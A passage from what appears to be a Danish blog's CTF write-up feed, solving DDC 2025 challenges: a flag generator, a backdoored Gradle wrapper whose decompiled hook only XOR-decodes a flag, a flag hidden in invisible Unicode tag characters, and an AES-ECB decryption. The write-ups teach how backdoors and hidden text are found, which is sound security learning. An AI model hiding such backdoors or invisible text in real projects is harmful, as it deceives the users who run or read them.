class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;l&#39;</span><span class="p">,</span> <span class="s1">&#39;l&#39;</span><span class="p">,</span> <span class="s1">&#39;y&#39;</span><span class="p">,</span> <span class="s1">&#39;G&#39;</span><span class="p">,</span> <span class="s1">&#39;o&#39;</span><span class="p">,</span> <span class="s1">&#39;d&#39;</span><span class="p">,</span> <span class="s1">&#39;b&#39;</span><span class="p">,</span> <span class="s1">&#39;l&#39;</span><span class="p">,</span> <span class="s1">&#39;e&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;6&#39;</span><span class="p">,</span> <span class="s1">&#39;p&#39;</span><span class="p">,</span> <span class="s1">&#39;Y&#39;</span><span class="p">,</span> <span class="s1">&#39;d&#39;</span><span class="p">,</span> <span class="s1">&#39;I&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">,</span> <span class="s1">&#39;q&#39;</span><span class="p">,</span> <span class="s1">&#39;b&#39;</span><span class="p">,</span> <span class="s1">&#39;M&#39;</span><span class="p">,</span> <span class="s1">&#39;n&#39;</span><span class="p">,</span> <span class="s1">&#39;J&#39;</span><span class="p">,</span> <span class="s1">&#39;3&#39;</span><span class="p">,</span> <span class="s1">&#39;z&#39;</span><span class="p">,</span> <span class="s1">&#39;X&#39;</span><span class="p">,</span> <span class="s1">&#39;s&#39;</span><span class="p">,</span> <span class="s1">&#39;F&#39;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">,</span> <span class="s1">&#39;t&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;g&#39;</span><span class="p">,</span> <span class="s1">&#39;Q&#39;</span><span class="p">,</span> <span class="s1">&#39;1&#39;</span><span class="p">,</span> <span class="s1">&#39;L&#39;</span><span class="p">,</span> <span class="s1">&#39;8&#39;</span><span class="p">,</span> <span class="s1">&#39;N&#39;</span><span class="p">,</span> <span class="s1">&#39;e&#39;</span><span class="p">,</span> <span class="s1">&#39;_&#39;</span><span class="p">,</span> <span class="s1">&#39;u&#39;</span><span class="p">,</span> <span class="s1">&#39;T&#39;</span><span class="p">,</span> <span class="s1">&#39;s&#39;</span><span class="p">,</span> <span class="s1">&#39;0&#39;</span><span class="p">,</span> <span class="s1">&#39;y&#39;</span><span class="p">,</span> <span class="s1">&#39;k&#39;</span><span class="p">,</span> <span class="s1">&#39;f&#39;</span><span class="p">,</span> <span class="s1">&#39;P&#39;</span><span class="p">,</span> <span class="s1">&#39;h&#39;</span><span class="p">,</span> <span class="s1">&#39;V&#39;</span><span class="p">,</span> <span class="s1">&#39;c&#39;</span><span class="p">,</span> <span class="s1">&#39;W&#39;</span><span class="p">,</span> <span class="s1">&#39;j&#39;</span><span class="p">,</span> <span class="s1">&#39;2&#39;</span><span class="p">,</span> <span class="s1">&#39;l&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;7&#39;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">,</span> <span class="s1">&#39;O&#39;</span><span class="p">,</span> <span class="s1">&#39;X&#39;</span><span class="p">,</span> <span class="s1">&#39;e&#39;</span><span class="p">,</span> <span class="s1">&#39;9&#39;</span><span class="p">,</span> <span class="s1">&#39;S&#39;</span><span class="p">,</span> <span class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;M&#39;</span><span class="p">,</span> <span class="s1">&#39;T&#39;</span><span class="p">,</span> <span class="s1">&#39;n&#39;</span><span class="p">,</span> <span class="s1">&#39;!&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">chars</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">41</span><span class="p">,</span> <span class="mi">41</span><span class="p">,</span> <span class="mi">42</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">44</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">48</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">generate_flag</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>DDC{f1ne__m4nually}</code></p>
<hr>
<h3 id="systemreaper">SystemReaper</h3>
<p>Look at this tool! You can hack everything with it! What? You think it&rsquo;s actually a malware? No! Impossible! If you don&rsquo;t believe me, check its source code and compile it yourself!</p>
<p><a href="/ddc_regionals_2025/forensics/systemreaper-handout.zip">Handout (systemreaper.zip)</a></p>
<p><strong>Løsning:</strong> Vi finder <code>gradle-wrapper.jar</code> i <code>SystemReaper/gradle/wrapper</code> denne fil kan vi dekompilere med <a href="https://www.decompiler.com">https://www.decompiler.com</a>. Her finder vi en <code>Hook.java</code> fil under <code>fr/crazycat256/systemreaper/backdoor/Hook.java</code>, som indeholder en <code>iAmNotHere</code> og <code>xor</code> funktion:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">iAmNotHere</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">arg</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">arg</span><span class="p">.</span><span class="na">equals</span><span class="p">(</span><span class="s">&#34;flag&#34;</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="kt">byte</span><span class="o">[]</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="kt">byte</span><span class="o">[]</span><span class="p">{</span><span class="n">63</span><span class="p">,</span><span class="w"> </span><span class="n">7</span><span class="p">,</span><span class="w"> </span><span class="n">15</span><span class="p">,</span><span class="w"> </span><span class="n">58</span><span class="p">,</span><span class="w"> </span><span class="n">17</span><span class="p">,</span><span class="w"> </span><span class="n">96</span><span class="p">,</span><span class="w"> </span><span class="n">0</span><span class="p">,</span><span class="w"> </span><span class="n">45</span><span class="p">,</span><span class="w"> </span><span class="n">117</span><span class="p">,</span><span class="w"> </span><span class="n">63</span><span class="p">,</span><span class="w"> </span><span class="n">118</span><span class="p">,</span><span class="w"> </span><span class="n">57</span><span class="p">,</span><span class="w"> </span><span class="n">37</span><span class="p">,</span><span class="w"> </span><span class="n">32</span><span class="p">,</span><span class="w"> </span><span class="n">30</span><span class="p">,</span><span class="w"> </span><span class="n">52</span><span class="p">,</span><span class="w"> </span><span class="n">116</span><span class="p">,</span><span class="w"> </span><span class="n">60</span><span class="p">,</span><span class="w"> </span><span class="n">39</span><span class="p">,</span><span class="w"> </span><span class="n">19</span><span class="p">,</span><span class="w"> </span><span class="n">3</span><span class="p">,</span><span class="w"> </span><span class="n">55</span><span class="p">,</span><span class="w"> </span><span class="n">102</span><span class="p">,</span><span class="w"> </span><span class="n">25</span><span class="p">,</span><span class="w"> </span><span class="n">23</span><span class="p">,</span><span class="w"> </span><span class="n">112</span><span class="p">,</span><span class="w"> </span><span class="n">19</span><span class="p">,</span><span class="w"> </span><span class="n">54</span><span class="p">,</span><span class="w"> </span><span class="n">33</span><span class="p">,</span><span class="w"> </span><span class="n">103</span><span class="p">,</span><span class="w"> </span><span class="n">47</span><span class="p">,</span><span class="w"> </span><span class="n">62</span><span class="p">,</span><span class="w"> </span><span class="n">114</span><span class="p">,</span><span class="w"> </span><span class="n">63</span><span class="p">,</span><span class="w"> </span><span class="n">112</span><span class="p">,</span><span class="w"> </span><span class="n">34</span><span class="p">};</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="w"> </span><span class="s">&#34;{CLASS_NAME_PLACEHOLDER}&#34;</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="n">System</span><span class="p">.</span><span class="na">exit</span><span class="p">(</span><span class="n">0</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">xor</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">s</span><span class="p">,</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">key</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="n">StringBuilder</span><span class="w"> </span><span class="n">sb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">StringBuilder</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="k">for</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="na">length</span><span class="p">();</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="n">sb</span><span class="p">.</span><span class="na">append</span><span class="p">((</span><span class="kt">char</span><span class="p">)(</span><span class="n">s</span><span class="p">.</span><span class="na">charAt</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">key</span><span class="p">.</span><span class="na">charAt</span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="n">key</span><span class="p">.</span><span class="na">length</span><span class="p">())));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="k">return</span><span class="w"> </span><span class="n">sb</span><span class="p">.</span><span class="na">toString</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>Vi kan se at <code>iAmNotHere</code> funktionen kører <code>xor</code> funktionen med en key og en string, som indeholder flaget.
Vi kan lave en python script til at dekryptere flaget:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="mi">63</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="mi">39</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">25</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">62</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">34</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="s2">&#34;</span><span class="si">{CLASS_NAME_PLACEHOLDER}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">decrypted</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">c</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]))</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">b</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decrypted</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>DDC{B3_c4r3ful_w1th_Gr4dl3_wr4pp3r5}</code></p>
<h3 id="hidden-in-plain-sight">Hidden in Plain Sight</h3>
<p><code>Leder du efter et 🏴‍? 󠁄󠁄󠁃󠁻󠁕󠁎󠀱󠁃󠀰󠁄󠁅󠀭󠀱󠁓󠀭󠀴󠀭󠀲󠁔󠁒󠀴󠁎󠁇󠁅󠀭󠁌󠀴󠁎󠁄󠁽 Du har lige læst forbi et 😁</code></p>
<p><a href="/ddc_regionals_2025/misc/HiddenInPlainSight.zip">Handout (HiddenInPlainSight.zip)</a></p>
<p><strong>Løsning:</strong> Fra starten havde jeg en ide om at der måtte være noget unicode på spil, ved at indsætte strengen i en python shell kan vi se at der er en masse unicode tegn i strengen.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">halfdan@desktop:~$ python3
</span></span><span class="line"><span class="cl">Python 3.10.12 <span class="o">(</span>main, Feb  <span class="m">4</span> 2025, 14:57:36<span class="o">)</span> <span class="o">[</span>GCC 11.4.0<span class="o">]</span> on linux
</span></span><span class="line"><span class="cl">Type <span class="s2">&#34;help&#34;</span>, <span class="s2">&#34;copyright&#34;</span>, <span class="s2">&#34;credits&#34;</span> or <span class="s2">&#34;license&#34;</span> <span class="k">for</span> more information.
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; <span class="s1">&#39;Leder du efter et 🏴‍? 󠁄󠁄󠁃󠁻󠁕󠁎󠀱󠁃󠀰󠁄 Du har lige læst forbi et 😁&#39;</span>
</span></span><span class="line"><span class="cl"><span class="s1">&#39;Leder du efter et 🏴\u200d? \U000e0044\U000e0044\U000e0043\U000e007b\U000e0055\U000e004e\U000e0031\U000e0043\U000e0030\U000e0044\U000e0045\U000e002d\U000e0031\U000e0053\U000e002d\U000e0034\U000e002d\U000e0032\U000e0054\U000e0052\U000e0034\U000e004e\U000e0047\U000e0045\U000e002d\U000e004c\U000e0034\U000e004e\U000e0044\U000e007d Du har lige læst forbi et 😁&#39;</span>
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; 
</span></span></code></pre></div><p>Her kan vi se at der er en masse unicode tegn i strengen, hvis vi fjerner &ldquo;\U000e00&rdquo; fra alle unicode tegnene får vi:</p>
<pre tabindex="0"><code>44 44 43 7b 55 4e 31 43 30 44 45 2d 31 53 2d 34 2d 32 54 52 34 4e 47 45 2d 4c 34 4e 44 7d
</code></pre><p>Dette ligner hex værdier, som vi kan konvertere til ascii:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;4444437b554e31433044452d31532d342d325452344e47452d4c344e447d&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>DDC{UN1C0DE-1S-4-2TR4NGE-L4ND}</code></p>
]]></content></item><item><title>DDC - Qualifiers Junior 2025 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2025/</link><pubDate>Sun, 16 Mar 2025 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2025/</guid><description>&lt;h2 id="scoreboard"&gt;Scoreboard:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/ddc_qual_2025/scoreboard_top10.png" alt="Scoreboard"&gt;&lt;/p&gt;
&lt;p&gt;Slut scoreboard: &lt;a href="https://ha1fdan.xyz/ddc_qual_2025/scoreboard_med_score.png"&gt;Scoreboard med score (top 10)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jeg var den første der kvalificerede sig på junior holdet, efter bare 24min og 44sek.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/ddc_qual_2025/first_kval.png" alt="Discord Kvalifikation Besked"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem"&gt;Opgaver løst (I den rækkefølge jeg løste dem):&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#aes-decryption"&gt;AES Decryption&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#find-frontdoor"&gt;Find Frontdoor&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#read-the-rules"&gt;Read the rules&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kvalifikation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#efterforskningen"&gt;Efterforskningen&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#straba"&gt;Straba&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#outxorcing"&gt;OutXORcing&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#vigeneres-dictionary"&gt;Vigeneres dictionary&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#binary-encodings1"&gt;Binary-Encodings1&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#cross-site-job"&gt;Cross Site Job&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#complete-styling-sadness"&gt;Complete Styling Sadness&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#shutter-trace"&gt;Shutter Trace&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#long-live-caesar"&gt;Long live Caesar&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#hasher-is-back"&gt;Hasher is back&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#the-professors-lost-note"&gt;The Professors Lost Note&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#what-time-is-it"&gt;What time is it&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gotowin"&gt;gotowin&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#leaky-store"&gt;Leaky Store&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#ping-sweep"&gt;ping-sweep&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#the-gauntlet-pt-1"&gt;The Gauntlet pt 1&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#masahiro-hara"&gt;Masahiro Hara&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#passprotector"&gt;PassProtector&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#pwn-me-good-uwu"&gt;PWN me good uwu&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#ddc-lounge"&gt;DDC Lounge&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#covertchannel2"&gt;covertchannel2&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#pwn-me-good-uwu---wifu-edition"&gt;PWN me good uwu - Wifu Edition&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Binary&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="aes-decryption"&gt;AES Decryption&lt;/h3&gt;
&lt;p&gt;You&amp;rsquo;ve intercepted a Base64-encoded AES-encrypted message, along with a potential key. Analyze and decrypt the ciphertext to uncover the secret at:&lt;/p&gt;</description><content type="html"><![CDATA[<h2 id="scoreboard">Scoreboard:</h2>
<p><img src="/ddc_qual_2025/scoreboard_top10.png" alt="Scoreboard"></p>
<p>Slut scoreboard: <a href="/ddc_qual_2025/scoreboard_med_score.png">Scoreboard med score (top 10)</a></p>
<p><strong>Jeg var den første der kvalificerede sig på junior holdet, efter bare 24min og 44sek.</strong></p>
<p><img src="/ddc_qual_2025/first_kval.png" alt="Discord Kvalifikation Besked"></p>
<hr>
<h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem">Opgaver løst (I den rækkefølge jeg løste dem):</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#aes-decryption">AES Decryption</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#find-frontdoor">Find Frontdoor</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#read-the-rules">Read the rules</a></td>
					<td>Kvalifikation</td>
			</tr>
			<tr>
					<td><a href="#efterforskningen">Efterforskningen</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#straba">Straba</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#outxorcing">OutXORcing</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#vigeneres-dictionary">Vigeneres dictionary</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#binary-encodings1">Binary-Encodings1</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#cross-site-job">Cross Site Job</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#complete-styling-sadness">Complete Styling Sadness</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#shutter-trace">Shutter Trace</a></td>
					<td>Misc</td>
			</tr>
			<tr>
					<td><a href="#long-live-caesar">Long live Caesar</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#hasher-is-back">Hasher is back</a></td>
					<td>Misc</td>
			</tr>
			<tr>
					<td><a href="#the-professors-lost-note">The Professors Lost Note</a></td>
					<td>Misc</td>
			</tr>
			<tr>
					<td><a href="#what-time-is-it">What time is it</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#gotowin">gotowin</a></td>
					<td>Binary</td>
			</tr>
			<tr>
					<td><a href="#leaky-store">Leaky Store</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#ping-sweep">ping-sweep</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#the-gauntlet-pt-1">The Gauntlet pt 1</a></td>
					<td>Boot2root</td>
			</tr>
			<tr>
					<td><a href="#masahiro-hara">Masahiro Hara</a></td>
					<td>Misc</td>
			</tr>
			<tr>
					<td><a href="#passprotector">PassProtector</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#pwn-me-good-uwu">PWN me good uwu</a></td>
					<td>Binary</td>
			</tr>
			<tr>
					<td><a href="#ddc-lounge">DDC Lounge</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#covertchannel2">covertchannel2</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#pwn-me-good-uwu---wifu-edition">PWN me good uwu - Wifu Edition</a></td>
					<td>Binary</td>
			</tr>
	</tbody>
</table>
<hr>
<h3 id="aes-decryption">AES Decryption</h3>
<p>You&rsquo;ve intercepted a Base64-encoded AES-encrypted message, along with a potential key. Analyze and decrypt the ciphertext to uncover the secret at:</p>
<blockquote>
<p>aes-ddc.hkn</p>
</blockquote>
<p><strong>Løsning:</strong> På hjemmesiden får vi en key og en encrypted besked, samt nogle hints om AES-ECB. Med disse informationer kan vi decrypte beskeden og finde flaget.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;Kn0w1ngAESisP0w!&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">enc_msg</span> <span class="o">=</span> <span class="s2">&#34;4y+S0gs40gNFI5ejtUh+szLf+GtzSu1IM/Lr1+2ZEWo=&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">enc_bytes</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">enc_msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Decrypt med AES-ECB</span>
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
